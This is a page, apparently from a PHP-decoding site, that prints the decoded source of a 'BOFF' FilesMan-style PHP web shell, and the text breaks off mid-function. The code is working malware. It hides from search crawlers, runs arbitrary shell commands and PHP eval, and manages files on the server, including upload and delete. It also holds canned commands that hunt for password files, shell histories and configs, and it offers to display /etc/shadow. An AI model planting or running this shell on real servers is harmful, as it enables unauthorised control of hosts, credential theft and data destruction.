Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @session_start(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL..
Decoded Output download
pVd5c9pIFv97XeXv0NFm$auth_pass = "6fcaf96242df44522503fdd7efd9e300";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('BOFF_VERSION', '1.0');
if(get_magic_quotes_gpc()) {
function BOFFstripslashes($array) {
return is_array($array) ? array_map('BOFFstripslashes', $array) : stripslashes($array);
}
$_POST = BOFFstripslashes($_POST);
}
function BOFFLogin() {
die(Minfo()."<br><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form>");
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
BOFFLogin();
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function BOFFHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - BOFF " . BOFF_VERSION ."</title>
<style>
body{background-color:#000028;color:#e1e1e1;}
body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; }
div.content{ padding: 7px;margin-left:7px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#003300;}
.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/list.php?description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . BOFFViewSize($totalSpace) . ' <span>Free:</span> ' . BOFFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. BOFFPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function BOFFFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function BOFFEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function BOFFViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function BOFFPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function BOFFPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . BOFFPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . BOFFPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . BOFFPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function BOFFWhich($p) {
$path = BOFFEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
BOFFHeader();
echo '<h1>Server security information</h1><div class=content>';
function BOFFSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
BOFFSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
BOFFSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
BOFFSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
BOFFSecParam('Open base dir', @ini_get('open_basedir'));
BOFFSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
BOFFSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
BOFFSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
BOFFSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
BOFFSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
BOFFSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
BOFFSecParam('OS version', @file_get_contents('/proc/version'));
BOFFSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(BOFFWhich($item))
$temp[] = $item;
BOFFSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(BOFFWhich($item))
$temp[] = $item;
BOFFSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(BOFFWhich($item))
$temp[] = $item;
BOFFSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
BOFFSecParam('HDD space', BOFFEx('df -h'));
BOFFSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
BOFFSecParam('OS Version',BOFFEx('ver'));
BOFFSecParam('Account Settings',BOFFEx('net accounts'));
BOFFSecParam('User Accounts',BOFFEx('net user'));
}
echo '</div>';
BOFFFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
BOFFHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
BOFFFooter();
}
function actionFilesMan() {
BOFFHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
BOFFEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';BOFFFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => BOFFPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function BOFFCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "BOFFCmp");
usort($dirs, "BOFFCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BOFFViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) && @count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='BOFF_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
BOFFFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
